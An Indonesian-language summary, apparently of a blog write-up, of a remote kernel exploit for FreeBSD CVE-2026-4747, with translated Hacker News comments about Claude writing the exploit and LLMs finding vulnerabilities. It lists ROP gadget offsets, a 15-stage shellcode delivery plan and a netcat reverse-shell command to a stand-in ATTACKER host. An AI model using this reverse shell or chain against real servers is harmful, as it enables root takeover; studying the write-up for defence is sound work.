Mendapatkan root shell lewat RCE kernel jarak jauh FreeBSD (CVE-2026-4747)

• Pada modul kgssapi.ko milik FreeBSD, terjadi stack buffer overflow saat pemrosesan autentikasi RPCSEC_GSS sehingga memungkinkan eksekusi kode jarak jauh
• Fungsi svc_rpc_gss_validate() menyalin data kredensial tanpa pemeriksaan batas hingga menimpa alamat pengembalian
• Penyerang dapat menyuntikkan rantai ROP kernel melalui jalur RPCSEC_GSS pada server NFS dengan memanfaatkan tiket Kerberos yang valid
• Melalui overflow 15 tahap, 432 byte shellcode ditulis ke area BSS kernel lalu dieksekusi, menghasilkan reverse shell dengan hak root
• Beberapa versi FreeBSD 13.5~15.0 terdampak, dan patch menambahkan logika validasi oa_length

---

CVE-2026-4747 — Stack buffer overflow RPCSEC_GSS pada kgssapi.ko FreeBSD

• Kerentanan stack buffer overflow yang terjadi saat pemrosesan autentikasi RPCSEC_GSS pada modul kgssapi.ko milik FreeBSD
• Fungsi svc_rpc_gss_validate() menyalin data kredensial tanpa pemeriksaan batas terhadap oa_length saat menyusun ulang header RPC ke buffer stack 128 byte
• Kredensial yang melebihi sisa 96 byte setelah header tetap 32 byte akan menimpa variabel lokal, register yang disimpan, hingga alamat pengembalian
• FreeBSD versi 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) terdampak
• Patch menambahkan kondisi untuk memeriksa apakah oa_length melebihi ukuran buffer sebelum penyalinan

Struktur overflow dan dampaknya

• Hasil analisis prolog fungsi menunjukkan array rpchdr berada di [rbp-0xc0], dan titik awal penyalinan ada di [rbp-0xa0]
• Setelah 96 byte, yang tertimpa secara berurutan adalah RBX, R12~R15, RBP, lalu alamat pengembalian
• Dalam serangan nyata, karena header GSS dan context handle 16 byte, alamat pengembalian berada pada byte ke-200 dari badan kredensial
• Kode rentan ini hanya dapat dicapai melalui jalur autentikasi RPCSEC_GSS pada server NFS
• Penyerang harus merupakan pengguna dengan tiket Kerberos yang valid, dan memicu overflow pada tahap autentikasi RPCSEC_GSS (prosedur DATA)

Konfigurasi lingkungan serangan

• VM target: FreeBSD 14.4-RELEASE amd64, server NFS aktif, kgssapi.ko dimuat, MIT Kerberos KDC berjalan
• Host penyerang: Linux, modul Python3 gssapi dan klien MIT Kerberos terpasang, dapat mengakses NFS (2049/TCP) dan KDC (88/TCP)
• Dapat dikonfigurasi pada berbagai hypervisor seperti QEMU, VMware, VirtualBox, dan bhyve
• Saat konfigurasi Kerberos, pengaturan rdns=false dan dns_canonicalize_hostname=false di krb5.conf wajib
• Nama host (test) dan service principal (nfs/[e-mail]) antara VM dan penyerang harus cocok

Struktur eksploitasi eksekusi kode kernel jarak jauh (RCE)

• Serangan terdiri dari overflow multistage 15 putaran
  1. Di setiap putaran, membuat context Kerberos GSS baru
  2. Mengirim paket RPCSEC_GSS DATA berukuran berlebih
  3. Menimpa alamat pengembalian dengan gadget ROP untuk menulis data ke memori kernel atau mengeksekusi shellcode
  4. Memanggil kthread_exit() untuk mengakhiri thread NFS secara normal
• Setiap putaran menggunakan rantai ROP sekitar 200 byte, dan total 432 byte shellcode dikirim dalam 15 kali
• FreeBSD membuat 8 thread NFS per CPU, sehingga dibutuhkan minimal 2 CPU (16 thread)

Susunan rantai ROP

• Gadget ROP utama:
  • pop rdi; ret (K+0x1adcda)
  • pop rsi; ret (K+0x1cdf98)
  • pop rdx; ret (K+0x5fa429)
  • pop rax; ret (K+0x400cb4)
  • mov [rdi], rax; ret (0xffffffff80e3457c) — penulisan arbitrer 8 byte ke memori kernel
• Putaran 1: memanggil pmap_change_prot() untuk mengubah area BSS kernel menjadi RWX
• Putaran 2–14: menulis shellcode ke BSS dalam blok 32 byte menggunakan gadget mov [rdi], rax
• Putaran 15: menulis 16 byte terakhir lalu melompat ke entry point shellcode

Cara kerja shellcode

• Berjalan di mode kernel (CPL 0) dan membuat proses reverse shell dengan hak root
• Karena execve() tidak dapat dipanggil langsung dari thread kernel NFS, digunakan struktur 2 tahap
  • Fungsi Entry: membuat proses kernel baru lewat kproc_create() lalu keluar
  • Fungsi Worker: menjalankan /bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"
• Register DR7 diinisialisasi untuk mencegah exception debug
• Flag P_KPROC dihapus agar fork_exit() melanjutkan ke jalur userret, bukan kthread_exit()
• Hasilnya, /bin/sh berjalan di mode pengguna dengan hak uid 0(root)

Proses penyelesaian masalah utama

• Ketidakcocokan offset register: offset RIP yang sebenarnya dipastikan 200 byte menggunakan pola De Bruijn
• Ketidakcocokan GSS MIT–Heimdal: masalah normalisasi nama host diselesaikan lewat pengaturan krb5.conf
• Pewarisan register debug: inisialisasi DR7 mencegah exception trap 1
• Batas 400 byte: kombinasi pop rdi + pop rax + mov [rdi], rax memungkinkan pengiriman stabil per 8 byte
• Konsumsi thread NFS: 1 thread berakhir di setiap putaran → minimal 2 CPU diperlukan

Ringkasan alur eksploitasi akhir

• Penyerang memperoleh tiket Kerberos lalu mengirim 15 paket overflow RPCSEC_GSS secara berurutan
• Putaran 1: mengatur BSS menjadi RWX
• Putaran 2–14: menulis 416 byte shellcode
• Putaran 15: menulis 16 byte terakhir dan mengeksekusi shellcode
• Shellcode membuat proses baru lewat kproc_create() dan menjalankan /bin/sh
• Sesi nc di sisi penyerang menghasilkan root shell
• Seluruh proses memakan waktu sekitar 45 detik dan selesai dengan total 15 paket RPC

[GN⁺]

Komentar Hacker News

• Intinya, Claude bukan menemukan bug itu secara langsung, melainkan menerima laporan CVE yang sudah dipublikasikan lalu menulis program untuk mengeksploitasi kerentanan tersebut
  Namun, melihat laju perkembangan saat ini, sepertinya tidak lama lagi model seperti Claude akan bisa menganalisis source code kernel atau layanan inti dan, lewat eksperimen berulang di VM, secara otomatis menemukan CVE baru

  • Jika ditanya apakah itu hal baik atau buruk, menurut saya itu hal yang baik
    Dulu biaya untuk menemukan CVE sangat tinggi, jadi hanya penyerang yang mengejar keuntungan finansial yang mencobanya
    Sekarang biayanya turun sehingga peneliti yang berniat baik juga bisa menemukannya dengan mudah, dan tercipta lingkungan di mana patch bisa dibuat sebelum disalahgunakan
  • Dulu menyiapkan lingkungan fuzzing sangat sulit
    Sekarang model seperti Claude Code tampaknya bisa menganalisis codebase, menyarankan bagian mana yang perlu di-fuzz dan bagaimana caranya, meninjau crash, lalu melalui pembelajaran berulang menemukan CVE
  • Sebenarnya CVE ini memang ditemukan sejak awal oleh Claude
    Nicholas Carlini menemukannya di Anthropic menggunakan Claude, dan dari hasil itulah laporan CVE ditulis
  • Cukup berikan kondisi agar pengujian gagal, lalu suruh agent membuat pengujian itu lolos
    Untuk fuzzing otomatis seperti ini, LLM cukup cocok
  • Ada juga video terkait: tautan YouTube
    Claude sudah menemukan CVE pada level ahli

• Perusahaan Thai Duong, Calif, memposting artikel blog yang merangkum kasus ini
  Prompt yang digunakan juga disertakan, dan bug ini pun ditemukan oleh Claude melalui Nicholas Carlini

• Pada FreeBSD 14.x tidak ada KASLR (kernel address space randomization) maupun stack canary, sehingga serangannya lebih mudah
  Saya penasaran apakah ini membaik di FreeBSD 15.x
  Sebagai referensi, NetBSD sudah memiliki fitur KASLR

  • Namun sejak FreeBSD 13.2, KASLR sudah aktif secara default
    Bisa dicek dengan sysctl kern.elf64.aslr.enable: 1
  • Ada juga kritik terhadap KASLR pada kernel Linux
    Menurut postingan forum terkait, ada pendapat bahwa KASLR hanya memberi ilusi aman dan peningkatan keamanan nyatanya minim

• Melihat presentasi “Black-Hat LLMs” yang baru dipublikasikan, LLM makin mahir dalam pencarian kerentanan dan exploit

  • Sebenarnya arah perkembangan ini sudah bisa diperkirakan
    Tanda-tandanya sudah terlihat sejak Sam Altman memposting tweet pada Desember tahun lalu tentang perekrutan Head of Preparedness

• Bagian tersulit adalah menemukan kerentanan, bukan memperbaikinya
  Kebanyakan peneliti keamanan tidak mengungkap kerentanan karena alasan finansial
  Karena itu, jika deteksi otomatis menjadi mungkin, meski berbahaya, dalam jangka panjang manfaatnya akan besar

  • Hanya saja saya berharap otomatisasi semacam ini tidak berhenti pada pencarian bug saja, tetapi juga otomatis hingga perbaikannya
    Kalau tidak, ini bisa menjadi beban tambahan bagi para pengembang open source
    Seperti kontroversi patch keamanan antara Google dan FFmpeg dulu

• Terima kasih sudah membagikan kumpulan prompt yang dipublikasikan

  • Dari prompt aslinya terlihat bahwa Claude tidak langsung menulis exploit dalam sekali jalan, melainkan lewat proses percakapan dengan banyak umpan balik dan penyesuaian

• Bagi tim pengembang, otomatisasi seperti ini bisa berarti penghematan waktu, tetapi bagi pengguna umum mungkin tidak terlalu bernilai
  Bug kernel belakangan ini memang sudah tidak ditemukan secara manual
  Namun orang-orang tetap hanya membicarakan Claude, yang pada akhirnya tampaknya karena efek promosi Anthropic

• Sekarang fokusnya seharusnya bukan lagi pada fakta bahwa “Claude menulis kodenya”, melainkan pada kualitas dan kemudahan pemeliharaan kode tersebut

  • Saya juga berpikir begitu
    Saya penasaran apakah kode yang ditulis Claude benar-benar memiliki struktur yang dapat dipelihara, atau justru berantakan

• Kasus seperti ini menunjukkan otonomi dan kekuatan agent
  Sekaligus menjadi contoh yang memperlihatkan kecemasan soal kontrol dan perlunya tata kelola yang dirasakan perusahaan

• Menarik karena kita bisa melihat seluruh riwayat prompt

  • Hanya saja bagian terakhir diakhiri dengan permintaan “tunjukkan semua prompt yang dimasukkan di sesi ini”, jadi sebagian mungkin catatan nyata dan sebagian lain bisa jadi output halusinasi dari Claude